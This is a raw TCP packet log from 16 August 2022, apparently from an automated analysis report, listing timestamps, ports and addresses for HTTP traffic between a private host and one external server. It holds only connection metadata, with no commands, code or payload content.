Aug 16, 2022 11:50:11.568094969 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.568124056 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.568139076 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.568171024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.568185091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.568190098 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.568236113 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.568237066 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.568279028 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.568279982 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.568320990 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.603682041 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.702836037 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.793627024 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793662071 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793678045 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793695927 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793713093 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793730021 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793749094 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793766975 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793790102 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793791056 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.793822050 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.793824911 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.793836117 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793853045 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793869972 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.793876886 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793884993 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.793951035 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.793984890 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794003010 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794007063 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794014931 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794028997 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794039965 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794049978 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794064999 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794085979 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794378042 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794414043 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794420958 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794442892 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794454098 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794466019 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794477940 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794487953 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794502974 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794511080 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794523001 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794533968 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794548988 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794554949 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794569969 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794578075 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794584036 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794615030 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.794960976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.794980049 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795013905 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795017958 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795028925 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795052052 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795084953 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795103073 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795136929 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795206070 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795269012 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795286894 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795305967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795317888 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795403957 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795427084 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795439005 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795447111 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795463085 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795469999 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795479059 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795502901 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795521021 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795559883 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795588970 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795625925 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795653105 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795671940 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795689106 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795701981 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795727015 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795747042 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795763016 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795774937 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795783997 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795803070 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795820951 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795825958 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795834064 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795850039 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795857906 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795876026 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795934916 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795954943 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795974016 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.795977116 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.795988083 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796000957 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796005011 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796021938 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796036959 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796044111 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796049118 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796065092 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796080112 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796088934 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796092987 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796111107 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796119928 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796130896 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796144962 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796154976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796155930 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796174049 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796190023 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796195984 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796202898 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796217918 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796231985 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796240091 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796242952 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796261072 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796278000 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796284914 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796291113 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796304941 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796320915 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796327114 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796339989 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796351910 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796351910 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796371937 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796387911 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796394110 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796402931 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796416998 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796422005 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796437979 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796457052 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796461105 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796472073 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796483040 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796494007 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796505928 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796519041 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796528101 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796544075 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796550989 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796556950 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796572924 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796588898 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796596050 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796601057 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796617031 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796636105 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796641111 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796649933 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796665907 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796689987 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796693087 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796705008 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796717882 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796740055 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796746969 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796755075 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796770096 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796783924 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796793938 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796818972 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796818972 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796842098 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796844959 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796854973 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796870947 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796894073 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796900988 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796917915 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796920061 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796932936 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796945095 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796957016 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796968937 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.796991110 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.796993971 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797004938 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797019005 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797040939 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797061920 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797064066 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797072887 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797089100 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797096968 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797111988 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797122955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797137022 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797158003 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797169924 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797182083 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797204018 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797214985 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797228098 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797250032 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797271013 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797272921 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797285080 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797297001 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797318935 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797338963 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797342062 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797353983 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797367096 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797388077 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797409058 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797410965 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797421932 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797441006 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797463894 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797466993 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797497034 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797497988 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797511101 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797523975 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797545910 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797568083 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797591925 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797616959 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797640085 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797663927 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797688961 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797712088 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797734976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797758102 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797779083 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797781944 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797806025 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797808886 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797831059 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797833920 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797858953 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.797899008 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.797987938 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.798054934 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.798187971 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.798299074 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.798347950 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.798482895 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.798813105 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.798856974 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.823973894 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.922761917 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.922818899 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.922916889 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.931541920 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022391081 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022456884 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022483110 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022509098 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022589922 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022593975 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022619009 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022620916 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022639036 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022649050 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022650957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022675037 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022684097 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022701979 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022727966 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022742033 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022756100 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022782087 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022793055 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022808075 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022830963 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022842884 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022856951 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022857904 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022881985 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022908926 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022917032 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022934914 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022959948 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.022969007 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.022985935 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023011923 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023031950 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023036957 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023053885 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023058891 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023063898 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023070097 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023091078 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023097992 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023117065 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023143053 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023154974 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023169994 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023179054 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023195982 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023221970 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023235083 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023247004 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023247957 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023272991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023297071 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023308992 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023323059 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023336887 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023365974 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023379087 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023402929 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023406029 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023452044 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023468971 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023626089 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023652077 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023694992 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023695946 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023725033 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023732901 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023761034 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023786068 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023811102 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023813009 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023828983 CEST	49203	80	192.168.2.22	187.45.240.69
